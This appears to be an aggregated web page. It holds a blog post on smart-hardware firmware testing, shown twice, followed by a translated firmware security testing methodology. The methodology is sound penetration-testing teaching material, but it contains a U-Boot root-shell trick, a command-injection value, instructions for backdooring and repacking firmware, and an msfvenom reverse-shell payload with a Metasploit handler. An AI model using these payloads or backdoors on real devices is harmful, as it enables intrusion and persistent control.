精华内容
下载资源
问答
  • 固件测试主要工作是对移动端sdk和固件端sdk的测试。移动端sdk可理解为移动app与设备交互部分的api,包括安卓和ios,是交付给app开发人员使用的。固件端sdk是运行在智能设备上的软件。移动端sdk和固件端sdk之间使用...

     

     

    图1 简化的测试对象

    图1 简化的测试对象

    固件测试主要工作是对移动端sdk和固件端sdk的测试。移动端sdk可理解为移动app与设备交互部分的api,包括安卓和ios,是交付给app开发人员使用的。固件端sdk是运行在智能设备上的软件。移动端sdk和固件端sdk之间使用蓝牙协议进行交互。sdk所在的位置标出,如下图:

    图2 固件的测试范围

    图2 固件的测试范围

    3 移动端sdk测试

    移动端sdk测试,可实施的测试有功能测试,异常测试,api测试,压力测试等。

    功能测试

    功能测试主要结合智能硬件的使用场景,利用sdk下发各种命令以及命令的组合,前提是将sdk命令写成可视化界面,输入命令参数,点击发送命令即可使用。

    异常测试

    异常测试主要移动端sdk和设备交互过程中模拟蓝牙断开连接,移动端断网断电等,设备断电重启等各种中断异常。

    sdk api测试

    sdk api测试显而易见就是针对sdk的接口测试,帮助测试接口边界值以及回归时起辅助作用。

    压力测试

    压力测试是设置sdk向设备下发的指令条数,做到不断地让设备执行各种指令,包括单指令和多指令的组合,观察移动端sdk运行的情况。

    4 固件端sdk测试

    固件端sdk测试,可实施的测试有功能测试,异常测试,api测试,压力测试等。

    功能测试

    功能测试主要包括硬件声光交互测试,功能按键测试以及结合智能硬件使用场景的功能点测试。

    异常测试

    异常测试主要测试设备工作过程中各种异常中断导致设备停止工作或设备断电重启,保证异常动作结束后,设备可恢复工作,以及设备异常时可进入相应的异常处理分支。

    固件api测试

    固件api测试是针对设备sdk的主要接口做测试,固件代码完全由C语言编码实现,接口测试没有框架可以利用,写起来难度比较大,只能由固件开发引出几个重要的接口,并在他们工程里配置的接口测试主函数里编写测试函数和测试用例。

    压力测试

    压力测试是设置设备执行指令条数,并做到不断地让设备执行各种指令,包括单指令和多指令的组合,观察设备运行的情况,通过的最基本条件是设备不挂机。此外,可以配合做一些功耗测试,需要利用到专业的设备,如万用表和示波器灯。

    静态代码检查

    固件代码完全由c语言编写,代码量大,很容易出现代码缺陷,因此必须引入静态代码检查,有效规避内存泄漏,空指针等问题。采用cppcheck和oclint这两个成熟的c语言检查工具来做静态代码检查,cppcheck不检测代码中的语法错误,只检测那些编译器通常无法检测到的bug类型,目的是只检测代码中真正的错误。而oclint检查包含了大量语法错误的规则,以cppcheck为主,oclint为辅,二者互补,相得益彰。

    固件端排查问题:

    在智能硬件跑测试代码的时候,可以让它输出串口的调试信息,将所有的运行的调试信息都保存下来,方便后面定位问题。
    1、在测试代码中怀疑可能有问题的地方添加串口打印信息,输出一些变量的值,大致可以判断出来是什么地方有问题,然后深度排查;
    2、特殊的调试工具,使用示波器看看引脚输出的波形是不是正常的,抓高低电平的波形;万用表查看板子上的硬件电路连接是否正常,测电压电流值,然后分析出来,可能是什么地方有问题。

    5 蓝牙测试

    蓝牙传输属于移动端sdk和固件sdk之间下发指令和传输数据的桥梁,蓝牙传输速率和性能可靠性影响着固件测试结果。蓝牙测试可从以下几方面入手:

    蓝牙协议栈最大的手机匹配数

    最开始我们采用的蓝牙协议是ble,ble是低功耗但传输速率慢。后来我们改用了spp蓝牙传输协议(特定的蓝牙厂商提供),它的优点就是传输速率快,但存在蓝牙配对溢出的问题。ios端的溢出表现为n台手机与一台设备连接配对,当n超过蓝牙协议栈的最大连接数(10个)时,第11台以后的手机与设备非首次连接时,需要将原有的配对信息先忽略掉,才能成功连上设备。
    后来我们联系蓝牙厂商,将规则改为采用FIFO(先进先出)的队列规则存储第10台以后连接的手机,移除队列第一台配对的手机,保证最近连接的手机非首次连接是正常的。ble没发现此类问题,这个测试点仅供参考。

     

    图3 协议栈队列示意图

     

     

    图3 协议栈队列示意图

     

    针对性测试手机蓝牙模块的数据收发情况

    用特殊蓝牙工具(蓝牙厂商提供,包括pc端和移动端),测试较长时间内(1-2个小时)pc端向移动端不断发送发送数据包,发包间隔可调整,发包间隔影响数据发送速率,测试不同间隔下的数据收发情况,选择最佳发包间隔。

    蓝牙断开重连等异常情况

    主要围绕多台蓝牙涉笔信号干扰、远距离蓝牙自动断开、断电重启导致蓝牙断开等。

    6 总结

    在接触固件测试的短短半年时间内,自我感觉get到的固件测试的知识还挺丰富的,不过测试的原理还是和软件测试相差无几,以上是我在固件测试过程中总结出的一点经验,还有许多考虑不周全的测试点,还需要在后续的测试中继续加强经验和总结。

     

     

    展开全文
  • 简单聊聊智能硬件的固件测试

    千次阅读 2018-12-13 02:24:46
    1 前言去年10月份开始,有幸加入智能硬件团队,参与设备固件端测试,主要涉及的测试类型有移动端sdk测试,设备端固件测试,sdk与设备之间的蓝牙测试以及基于业务实际场景的功能测试。对于我这样一个固件测试新手来说...

    1 前言
    去年10月份开始,有幸加入智能硬件团队,参与设备固件端测试,主要涉及的测试类型有移动端sdk测试,设备端固件测试,sdk与设备之间的蓝牙测试以及基于业务实际场景的功能测试。对于我这样一个固件测试新手来说,刚开始的时候难免会有点不知所措,因此我写下自己对固件测试的一点经验和总结,以便后期回顾。

    2 简化后的大致框架
    简化一下所要测试的对象模型,大致框架图如下图,手机app下发命令给智能设备,智能设备反馈各个操作细节的信息给app,app与硬件之间的交互通过蓝牙传输;手机通过网络传输将收到的必要信息存储至服务器。


    图1 简化的测试对象
    固件测试主要工作是对移动端sdk和固件端sdk的测试。移动端sdk可理解为移动app与设备交互部分的api,包括安卓和ios,是交付给app开发人员使用的。固件端sdk是运行在智能设备上的软件。移动端sdk和固件端sdk之间使用蓝牙协议进行交互。sdk所在的位置标出,如下图:


    图2 固件的测试范围
    3 移动端sdk测试
    移动端sdk测试,可实施的测试有功能测试,异常测试,api测试,压力测试等。

    功能测试
    功能测试主要结合智能硬件的使用场景,利用sdk下发各种命令以及命令的组合,前提是将sdk命令写成可视化界面,输入命令参数,点击发送命令即可使用。

    异常测试
    异常测试主要移动端sdk和设备交互过程中模拟蓝牙断开连接,移动端断网断电等,设备断电重启等各种中断异常。

    sdk api测试
    sdk api测试显而易见就是针对sdk的接口测试,帮助测试接口边界值以及回归时起辅助作用。

    压力测试
    压力测试是设置sdk向设备下发的指令条数,做到不断地让设备执行各种指令,包括单指令和多指令的组合,观察移动端sdk运行的情况。

    4 固件端sdk测试
    固件端sdk测试,可实施的测试有功能测试,异常测试,api测试,压力测试等。

    功能测试
    功能测试主要包括硬件声光交互测试,功能按键测试以及结合智能硬件使用场景的功能点测试。

    异常测试
    异常测试主要测试设备工作过程中各种异常中断导致设备停止工作或设备断电重启,保证异常动作结束后,设备可恢复工作,以及设备异常时可进入相应的异常处理分支。

    固件api测试
    固件api测试是针对设备sdk的主要接口做测试,固件代码完全由C语言编码实现,接口测试没有框架可以利用,写起来难度比较大,只能由固件开发引出几个重要的接口,并在他们工程里配置的接口测试主函数里编写测试函数和测试用例。

    压力测试
    压力测试是设置设备执行指令条数,并做到不断地让设备执行各种指令,包括单指令和多指令的组合,观察设备运行的情况,通过的最基本条件是设备不挂机。此外,可以配合做一些功耗测试,需要利用到专业的设备,如万用表和示波器灯。

    静态代码检查
    固件代码完全由c语言编写,代码量大,很容易出现代码缺陷,因此必须引入静态代码检查,有效规避内存泄漏,空指针等问题。采用cppcheck和oclint这两个成熟的c语言检查工具来做静态代码检查,cppcheck不检测代码中的语法错误,只检测那些编译器通常无法检测到的bug类型,目的是只检测代码中真正的错误。而oclint检查包含了大量语法错误的规则,以cppcheck为主,oclint为辅,二者互补,相得益彰。

    固件端排查问题:
    在智能硬件跑测试代码的时候,可以让它输出串口的调试信息,将所有的运行的调试信息都保存下来,方便后面定位问题。
    1、在测试代码中怀疑可能有问题的地方添加串口打印信息,输出一些变量的值,大致可以判断出来是什么地方有问题,然后深度排查;
    2、特殊的调试工具,使用示波器看看引脚输出的波形是不是正常的,抓高低电平的波形;万用表查看板子上的硬件电路连接是否正常,测电压电流值,然后分析出来,可能是什么地方有问题。

    5 蓝牙测试
    蓝牙传输属于移动端sdk和固件sdk之间下发指令和传输数据的桥梁,蓝牙传输速率和性能可靠性影响着固件测试结果。蓝牙测试可从以下几方面入手:

    蓝牙协议栈最大的手机匹配数
    最开始我们采用的蓝牙协议是ble,ble是低功耗但传输速率慢。后来我们改用了spp蓝牙传输协议(特定的蓝牙厂商提供),它的优点就是传输速率快,但存在蓝牙配对溢出的问题。ios端的溢出表现为n台手机与一台设备连接配对,当n超过蓝牙协议栈的最大连接数(10个)时,第11台以后的手机与设备非首次连接时,需要将原有的配对信息先忽略掉,才能成功连上设备。
    后来我们联系蓝牙厂商,将规则改为采用FIFO(先进先出)的队列规则存储第10台以后连接的手机,移除队列第一台配对的手机,保证最近连接的手机非首次连接是正常的。ble没发现此类问题,这个测试点仅供参考。

    图3 协议栈队列示意图

    针对性测试手机蓝牙模块的数据收发情况
    用特殊蓝牙工具(蓝牙厂商提供,包括pc端和移动端),测试较长时间内(1-2个小时)pc端向移动端不断发送发送数据包,发包间隔可调整,发包间隔影响数据发送速率,测试不同间隔下的数据收发情况,选择最佳发包间隔。

    蓝牙断开重连等异常情况
    主要围绕多台蓝牙涉笔信号干扰、远距离蓝牙自动断开、断电重启导致蓝牙断开等。

    6 总结
    在接触固件测试的短短半年时间内,自我感觉get到的固件测试的知识还挺丰富的,不过测试的原理还是和软件测试相差无几,以上是我在固件测试过程中总结出的一点经验,还有许多考虑不周全的测试点,还需要在后续的测试中继续加强经验和总结。

    免费领取验证码、内容安全、短信发送、直播点播体验包及云服务器等套餐

    更多网易技术、产品、运营经验分享请访问网易云社区。

    文章来源: 网易云社区

    展开全文
  • 固件测试-源码

    2021-02-08 17:57:02
    固件测试
  • Zigbee终端设备,嵌入式测试斯思维,用于测试用例开展及执行
  • TestSoftware:安沛固件测试软件
  • fwtr:固件测试结果开放数据库
  • 一种软硬件联合微处理器固件测试系统.pdf
  • MTK7620AN纯净版固件 测试稳定.
  • 要开始进行安全测试固件逆向,在即将进行评估时,请使用以下方法作为指导。该方法包括九个阶段,旨在使安全研究人员,软件开发人员和信息安全专业人员能够进行固件安全测试研究。 以下各节将在适用的情况下通过...

    固件安全测试入门学习手册 (新手必看)

    无论是公网连接还是独立网络,固件都是控制嵌入式设备的核心。因此,必须要了解如何分析固件以执行未授权的功能。要开始进行安全测试和固件逆向,在即将进行评估时,请使用以下方法作为指导。该方法包括九个阶段,旨在使安全研究人员,软件开发人员和信息安全专业人员能够进行固件安全测试研究。

    固件安全测试入门学习手册 (新手必看)

    以下各节将在适用的情况下通过支持示例进一步详细介绍每个阶段。

    原文报告如下:

    https://scriptingxss.gitbook.io/firmware-security-testing-methodology/

    可以通过以下链接下载Ubuntu虚拟机(EmbedOS),其中包含在本文档中使用的固件测试工具。有关EmbedOS工具的详细信息,可以在以下存储库https://github.com/scriptingxss/EmbedOS中的 GitHub上找到。

     https://tinyurl.com/EmbedOS-2020
     
     https://github.com/scriptingxss/EmbedOS

    0x01 信息收集

    在此阶段,收集有关目标的尽可能多的信息,以了解其基础技术的总体组成。奇热尝试收集以下内容:

    · 支持的CPU架构

    · 操作系统平台

    · 引导程序配置信息(Bootloader configurations)

    · 硬件原理图

    · 数据表

    · 代码行(LoC)估计

    · 源代码存储库位置

    · 第三方组件

    · 开源许可证(例如GPL)

    · 更新日志

    · FCC ID

    · 设计和数据流程图

    · 威胁模型

    · 以前的渗透测试漏洞报告

    · 漏洞平台放出的漏洞(例如BugCrowd或HackerOne)

    上面列出的信息应在安全测试工作之前收集好,确保利用内部产品线开发团队来获取准确和最新的数据。了解应用的安全控制以及项目资料,已知的安全问题以及与漏洞有关的信息。

    在可能的情况下,使用开源情报(OSINT)工具和技术来获取数据。如果使用开源软件,需要下载存储库,并根据代码库执行手动和自动静态分析。有时,开源软件已经使用了提供扫描结果的供应商提供的免费静态分析工具,例如Coverity ScanSemmle的LGTM。例如,下面的截图显示了Das U-Boot在Coverity Scan中的信息摘要。

     https://scan.coverity.com/
     
     http://www.denx.de/wiki/U-Boot/WebHome

    固件安全测试入门学习手册 (新手必看)

    图片:U-Boot覆盖率扫描

    固件安全测试入门学习手册 (新手必看)

    图片:U-Boot覆盖率扫描分析

    以下是LGTM在Dropbear的分析结果截图。

     https://github.com/mkj/dropbear

    固件安全测试入门学习手册 (新手必看)

    图片:LGTM Dropbear分析

    固件安全测试入门学习手册 (新手必看)

    图片:LGTM Dropbear分析结果

    掌握了这些信息后,应进行威胁建模,以分析出攻击面和影响范围。

    0x02 获取固件

    要开始查看固件内容,必须获取固件映像文件。尝试使用以下一种或多种方法获取固件内容:

    · 直接从开发团队,制造商和供应商或客户那里获取

    · 使用制造商提供的说明文件从头开始编译

    · 从供应商的支持站点下载

    · 针对文件扩展名和文件共享平台(例如Dropbox,Box和Google驱动器)进行Google dork查询

    · 通常,用户会将固件内容上传到论坛,博客或在与制造商联系以解决问题并通过zip或flash驱动器获得固件的网站上申请固件。

    · 更新时做中间人(MITM)固件流量截获

    · 从暴露的云提供商存储(例如Amazon Web Services(AWS)S3)下载Build版本

    · 通过UART,JTAG,PICit等直接从硬件中提取

    · 嗅探硬件组件内的串行通信以更新服务器请求

    · 通过移动应用程序内的硬编码端点获得固件

    · 将固件从引导加载程序(例如U-boot)转储到flash或通过tftp网络转储

    · 从板子上拆下flash芯片(例如SPI)或MCU,以进行离线分析和数据提取(LAST RESORT)。

    · 需要受支持的芯片编程器来存储flash和MCU。

    列出的每种方法的难度各不相同,根据项目目标和参与规则选择适当的方法。如果可能,需要拿到固件的调试版本和发布版本,以在发布版本中编译调试代码或功能时最大程度地覆盖测试用例。

    0x03 分析固件

    获取固件映像后,查看文件以识别其特征。使用以下步骤分析固件文件类型,root文件系统元数据,并进一步了解其编译平台。

    例如利用binutils

     file   
     strings  
     strings -n5   
     binwalk   
     hexdump -C -n 512  > hexdump.out  
     hexdump -C  | head # might find signatures in header

    如果以上方法均未提供有用的数据,则可能会发生以下情况:

    · 文件可能是BareMetal(没有配置文件系统)

    · 文件可能用于自定义文件系统的实时操作系统(RTOS)平台

    · 二文件可能已加密

    如果文件加密了,使用binwalk使用以下命令检查熵:

     $ binwalk -E

    低熵=不太可能被加密

    高熵=可能已加密(或以某种方式压缩)。

    也可以使用Binvis在线和应用程序。

    · Binvis

    · https://code.google.com/archive/p/binvis/

    · https://binvis.io/#/

    0x04 提取文件系统

    此阶段涉及查看固件内部并解析相关文件系统数据,以识别尽可能多的潜在安全问题。使用以下步骤提取固件内容,以检查以下阶段中使用的未编译代码和设备配置,自动和手动提取方法如下所示。

    1. 使用以下工具和方法来提取文件系统内容:

     $ binwalk -ev

    文件将被提取到_binaryname/filesystemtype/

    文件系统类型:squashfs,ubifs,romfs,rootfs,jffs2,yaffs2,cramfs,initramfs

    有时,binwalk的签名中不会包含文件系统的Magic字节。在这些情况下,请使用binwalk查找文件系统的偏移量,然后从文件中分割压缩的文件系统,并使用以下步骤根据其类型手动提取文件系统。

     $ binwalk DIR850L_REVB.bin

    运行以下dd命令查看Squashfs文件系统。

     dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs # or

    也可以运行以下命令。

     $ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs

    在上面的示例中使用:

     $ unsquashfs dir.squashfs

    之后文件将位于squashfs-root目录中。

    CPIO存档文件:

     $ cpio -ivd --no-absolute-filenames -F

    jffs2文件系统

     $ jefferson rootfsfile.jffs2

    对于具有NAND闪存的ubifs文件系统:

     $ ubireader_extract_images -u UBI -s   $ ubidump.py

    0x05 分析文件系统

    在此阶段,将收集有关动态和运行时分析阶段的线索。研究目标固件是否包含以下内容:

    · 传统的不安全网络守护程序,例如telnetd(有时会伪装重命名文件)

    · 硬编码的凭证(用户名,密码,API密钥,SSH密钥和后门变体)

    · 硬编码的API端点和后端服务器详细信息

    · 可用作入口点的服务器更新函数

    · 查看未编译的代码并启动脚本执行远程代码

    · 提取已编译的文件,以供使用反汇编程序进行脱机分析以供将来使用

    手动静态分析文件系统内容和未编译的代码,或利用诸如Firmwalker之类的自动化工具来分析以下内容:

    · etc / shadow和etc / passwd

    · 列出etc / ssl目录

    · 搜索与SSL相关的文件,例如.pem,.crt等。

    · 搜索配置文件

    · 寻找脚本文件

    · 搜索其他.bin文件

    · 查找诸如admin,password,remote,AWS key等关键字。

    · 搜索物联网设备上使用的通用Web服务器

    · 搜索常见的文件,例如ssh,tftp,dropbear等。

    · 搜索禁止的C函数

    · 搜索常见的命令注入易受攻击的函数

    · 搜索URL,电子邮件地址和IP地址

    以下小节介绍了开源自动固件分析工具。

    Firmwalker工具

    在〜/ tools / firmwalker的目录中执行firmwalker,并将firmwalker指向提取的文件系统根目录的绝对路径。Firmwalker使用“ / data /”目录中的信息来解析规则,可以在GitHub上的https://github.com/scriptingxss/firmwalker上找到由Aaron Guzman修改并带有其他检查的自定义版本。

     https://github.com/OWASP/IoTGoat
     https://github.com/OWASP/IoTGoat

    OWASP的IoTGoat上使用的firmwalker文件末尾的部分中列出了存在漏洞的固件。

     $ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/

    请参阅下面的firmwalker输出。

    固件安全测试入门学习手册 (新手必看)

    将生成两个文件,firmwalker.txt和firmwalkerappsec.txt,这些输出文件需要手动检查。

    固件分析工具包(FACT)

    可以使用多种开源自动固件分析工具,FACT功能包括以下内容:

    · 标识软件组件(例如操作系统,CPU体系结构和第三方组件)及其关联的版本信息

    · 从映像中提取固件文件系统

    · 检测证书和私钥

    · 检测通用漏洞CWE

    · 基于签名的漏洞检测

    · 基本静态行为分析

    · 固件版本和文件差异比较

    · 使用QEMU的文件系统的用户模式仿真

    · 检测二进制缓解措施,例如NX,DEP,ASLR,stack canaries,RELRO和FORTIFY_SOURCE

    · REST API

    以下是在配套的虚拟机中使用固件分析比较工具包的说明。

     https://tinyurl.com/EmbedOS-2019
     
     建议使用具有16核64GB RAM的计算机运行FACT,尽管该工具可以至少4核和8GB RAM运行,但是非常慢;扫描输出结果取决于分配给虚拟机的资源。资源越多,FACT将完成扫描提交的速度越快。
     $ cd〜/ tools / FACT_core /
     $ sudo ./start_all_installed_fact_components

    在浏览器中导航到http://127.0.0.1:5000

     

    固件安全测试入门学习手册 (新手必看)

    图片FACT

    将固件组件上传到FACT进行分析,在下面的截图中,带有root文件系统的完整固件将被上传和分析。

    固件安全测试入门学习手册 (新手必看)

    图片:FACT上传

    根据提供给FACT的硬件资源,分析结果将在给定时间随扫描结果一起显示。

    固件安全测试入门学习手册 (新手必看)

    图片:FACT IoTGoat

    固件安全测试入门学习手册 (新手必看)

    图片:FACT IoTGoat漏洞缓解措施

    使用IDA Pro,GhidraHopper,Capstone或Binary Ninja从FACT收集的数据来分解可疑目标文件。分析文件以查找潜在的远程代码执行系统调用,字符串,函数列表,内存损坏漏洞,并标识对system()或类似函数的外部调用。

    以下截图显示了使用Ghidra分析的“ shellback”文件。

    固件安全测试入门学习手册 (新手必看)

    图片:Shellback Ghidra分析

    常见的二进制分析包括以下内容:

    · 启用或禁用stack canaries

    · $ readelf -aW bin/*| grep stack_chk_fail

    · $ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail

    · 启用或禁用与位置无关的可执行文件(PIE)

             ·  $ readelf --syms

             ·  $ nm

             ·  $ readelf -d

             ·  $ readelf -h

             ·  $ readelf -h

    · 禁用PIE

    · 启用PIE

    · DSO

    · 符号

    · 可识别的字符串

    · -el 指定16位宽的小端字符(例如UTF-16)。

    · -eb使用大端

    · 将任何大于16的ASCII字符串打印到stdout

    · -t返回文件中字符串的偏移量。

    · -tx将以十六进制格式返回,-td T-to以八进制和十进制表示

    · 用十六进制编辑器进行交叉引用很有用,或者想知道字符串在文件中的位置。

    · strings -n5

    · strings -el

    · strings -n16

    · strings -tx

    · 启用或禁用不可执行(NX)

    · $ readelf -lW bin/

     GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

    “ E”表示堆栈是可执行的。

     execstack bin/*
     bin/ash
     bin/busybox

    · 重定位只读(RELRO)配置

             ·  $ readelf -d binary | grep GNU_RELRO

             ·  $ readelf -d binary | grep BIND_NOW

    · 完整的RELRO

    · 部分RELRO

    自动检查上述许多二进制属性的脚本是checksec.sh。下面是使用脚本的两个示例。

     ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
     
     ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback

    固件安全测试入门学习手册 (新手必看)

    图片:Checksec.sh

    0x06 固件仿真

    使用前面步骤中确定的详细信息和线索,需要模拟固件及其文件以验证潜在的漏洞。为了完成仿真固件,下面列出了几种方法。

    1. 部分仿真(用户空间)-仿真从固件提取的文件系统(例如)获得的/usr/bin/shellback独立文件

    2. 完整的系统仿真-完整的固件仿真和利用伪造的NVRAM启动配置。

    3. 使用真实设备或虚拟机进行仿真-有时,由于硬件或体系结构的依赖性,部分或全部仿真可能无法正常工作。如果架构和字节序与拥有的设备(例如树莓派)匹配,则可以将根文件系统或特定文件传输到该设备以进行进一步测试。此方法还适用于使用与目标相同的体系结构和字节序的Build虚拟机。

    用户模式仿真

    要开始部分仿真文件,必须了解CPU架构和字节序,以便在以下步骤中选择适当的QEMU仿真文件。

     $ binwalk -Y  
     $ readelf -h

    el 代表: little endian ,eb 代表:big endian

    可使用以下命令,使用Binwalk识别打包的固件文件(不是来自提取的固件中的文件)的字节序。

     $ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
     
     十进制十六进制描述
     -------------------------------------------------- ------------------------------
     3480 0xD98 ARM可执行代码,32位,小端字节序。

    确定了CPU的体系结构和字节序后,找到适当的QEMU文件以执行部分仿真(不是用于仿真完整的固件,而是用于提取固件的文件。)

     /usr/local/qemu-arch` 或者 `/usr/bin/qemu-arch

    将适用的QEMU文件复制到提取的根文件系统中。第二个命令显示将静态QEMU文件复制到ZSH shell中的提取的根文件系统,该文件会显示绝对路径。

     > cp / usr / local / qemu-arch / extractedrootFS /
     
     /home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root 
     > cp / usr / bin / qemu-arm-static。

    执行ARM文件(或适当的体系结构)以使用QEMU和chroot通过以下命令进行仿真:

     $ sudo chroot . ./qemu-arch

    以下示例显示在攻击者计算机可能使用的典型x64体系结构中模拟的Busybox。

     > sudo chroot。./qemu-arm-static bin / busybox ls
     embedos[sudo]password: 
     bin rom sys var
     dev lib proc root tmp www
     dnsmasq_setup.sh mnt qemu-arm-static sbin usr

    下面是模拟在端口5515上侦听服务的示例。

     > sudo chroot。./qemu-arm-static usr / bin / shellback

    在另一个终端中,检查服务是否在本地侦听,然后尝试连接到该服务。

     sudo lsof -i:5515
     nc -nv 127.0.0.1 5515
     
     sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI= -E REMOTE_ADDR= -E HTTP_COOKIE= -g

    模拟目标文件后,与其解释器或侦听服务进行交互,Fuzz其应用程序和网络接口。

    全系统仿真

    使用Firmadyne固件分析工具包或ARM-X固件仿真框架等自动化工具来执行固件的完整仿真。这些工具实质上是QEMU和其他环境功能(例如nvram)的包装器。

    · https://github.com/attify/firmware-analysis-toolkit

    · https://github.com/therealsaumil/armx/

    · https://github.com/firmadyne/firmadyne

    使用固件分析工具包,只需执行以下命令:

     sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0 
     
                                    __ _
                                   / _ | | |
                                  | | _ __ _ | | _
                                  | _ | / _ | | | __ |
                                  | | | (_ | | | | _
                                  | _ | \ __,_ | \ __ |
     
                   
     BusyBox v1.28.4()shell(ash)
     
                                                                .--,\\\ __         
     ██████╗██╗██╗█████╗███████████████╗`-。a` -.__    
     ██╔═══██╗██║██║██╔══██╗██╔════╝██╔══██╗| ')   
     ██║██║██║█╗██║███████║███████████████╔╝/ \ _.-'-,`;    
     ██║██║██║███╗██║██╔══██║╚════██║██╔═══╝/ | {/    
     ██████╔╝╚███╔███╔╝██║██║███████║██║/ | {/    
     ╚═╝╚══════╝╚═╝..-“``〜”-'; )     
                                                ╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐;' `     
                                                ║││║╦││├─┤│;' `      
                                                '─┘┴┴;' `       
      -------------------------------------------------- ----------;'             
      GitHub:https://github.com/OWASP/IoTGoat                                                
      -------------------------------------------------- ----------   
     root @ IoTGoat:/#

    如果固件包含不常见的压缩,文件系统或不支持的体系结构,则可能需要修改这些工具。

    0x07 动态分析

    在此阶段,请在设备在其正常或仿真环境中运行时执行动态测试。此阶段的目标可能会因项目和访问级别而异。通常,涉及修改引导程序配置,Web和API测试,Fuzz(网络和应用程序服务),以及使用各种工具集进行主动扫描以获取root访问权限或代码执行。

    可能用到的工具:

    · Burp Suite

    · OWASP ZAP

    · Commix

    · Fuzzers such as - American fuzzy loop (AFL)、

    · Network and protocol fuzzers such as – Mutinyboofuzz, and kitty

    · Nmap

    · NCrack

    · metasploit

    Web应用测试

    以下是嵌入式设备的Web应用程序中要检查的特定区域:

    · 诊断和故障排除页面可能存在命令注入

    · 验证和授权方案对整个固件中的应用程序和操作系统平台的相同框架进行验证

    · 默认的用户名、密码

    · 在网页执行目录遍历或文件读取,以识别调试或测试功能

    · 在 SOAP/xml 和 API 传输中的输入检查 ,如:XSS 和 XXE

    · 跟踪观察应用程序中的参数查看异常点和堆栈溢出点

    · 针对常见的C / C ++漏洞针对嵌入式Web应用程序服务量身定做目标payload,例如内存损坏漏洞,格式字符串漏洞和整数溢出。

    根据产品及其应用程序界面的不同,测试用例也会有所不同。

    引导加载程序测试

    修改设备启动和引导加载程序(例如U-boot)时,请尝试以下操作:

    · 尝试在引导过程中按“ 0”,空格或其他标识的“Magic code”来访问引导程序解释器shell。

    · 修改配置以执行shell命令,例如在引导参数末尾添加' 'init=/bin/sh

    · #printenv

    · #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3

    · mtdparts=sflash:

    · #saveenv

    · #boot

    · 设置一个tftp服务器,从工作站本地通过网络加载,确保设备具有网络访问权限。  

    · #setenv ipaddr 192.168.2.2 #local IP of the device

    · #setenv serverip 192.168.2.1 #tftp server IP

    · #saveenv

    · #reset

    · #ping 192.168.2.1 #check if network access is available

    · #tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server

    · 使用写uboot修改的固件来获得rootubootwrite.py

    · 检查启用的调试功能,例如

    · 详细记录

    · 加载任意内核

    · 从不受信任的来源引导  

    · 使用警告:将一个引脚接地,观察设备启动顺序,在内核解压缩之前,将接地引脚短路/连接到SPI闪存芯片上的数据引脚(DO)

    · 将一个引脚接地,观察设备启动顺序,在内核解压缩之前,在U-boot对UBI映像解压缩时,将接地引脚短路/连接至NAND闪存芯片的引脚8和9。

    · 在短接引脚之前请查看NAND闪存芯片的数据表

    · 使用恶意参数配置恶意DHCP服务器作为设备在PXE引导期间提取的输入

    · 使用Metasploit(MSF)DHCP辅助服务器,并使用命令注入命令修改FILENAME``‘a";/bin/sh;#’参数,例如测试设备启动过程的输入验证。

    固件完整性测试

    尝试上传自定义固件和编译的文件,以检查完整性或签名验证漏洞。例如,使用以下步骤编译在启动时启动的后门绑定shell。

    1. 使用固件修改包(FMK)提取固件;

    2. 确定目标固件架构和字节序;

    3. 使用BuildrootBuild交叉编译器或使用适合环境的其他方法;

    4. 使用交叉编译器Build后门;

    5. 将后门复制到解压缩的固件/ usr / bin中;

    6. 将适当的QEMU文件复制到提取的固件rootfs;

    7. 使用chroot和QEMU模拟后门;

    8. 通过netcat连接到后门;

    9. 从提取的固件rootfs中删除QEMU文件;

    10. 用FMK重新包装修改后的固件;

    11. 通过使用固件分析工具包(FAT)进行仿真并使用netcat连接到目标后门IP和端口来测试后门固件。

    如果已经通过动态分析,引导加载程序操纵或硬件安全测试手段获得了root shell,尝试执行预编译的恶意文件,例如植入程序或反向shell。使用用于命令和控制(C&C)框架的自动化有效载荷/植入工具。例如,可以使用以下步骤来利用Metasploit框架和msfvenom。

    1. 确定目标固件架构和字节序

    2. 使用指定适当的目标负载(-p),攻击者主机IP(LHOST =),侦听端口号(LPORT =)文件类型(-f),编译(--arch),平台(--platform Linux或Windows)和输出文件(-o)。例如,msfvenom``msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux

    3. 将有效负载传到受感染的设备(例如,运行本地Web服务器,并将有效负载wget / curl到文件系统),并确保有效负载具有执行权限

    4. 准备Metasploit以处理传入的请求。例如,使用msfconsole启动Metasploit,然后根据上述有效负载使用以下设置:use exploit / multi / handler,

    · set payload linux/armle/meterpreter_reverse_tcp

    · set LHOST 192.168.1.245 #attacker host IP

    · set LPORT 445 #can be any unused port

    · set ExitOnSession false

    · exploit -j -z

    · 在受感染的设备上执行meterpreter反向shell

    · 查看 meterpreter sessions

    · 后渗透攻击

    最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权

    0x08 运行时分析

    运行时分析涉及在设备在其正常或仿真环境中运行时附加到正在运行的进程或文件。下面提供了基本的运行时分析步骤:

    1. sudo chroot . ./qemu-arch -L。

    2. 附加gdb-multiarch或使用IDA模拟文件。

    3. 为步骤4中识别的函数设置断点,例如memcpy,strncpy,strcmp等。

    4. 使用Fuzzer执行较大的payload字符串挖掘溢出或进程崩溃。

    5. 如果发现漏洞,请移至步骤8。

    会用到的工具:

    · gdb-multiarch

    · Peda

    · Frida

    · ptrace

    · strace

    · IDA Pro
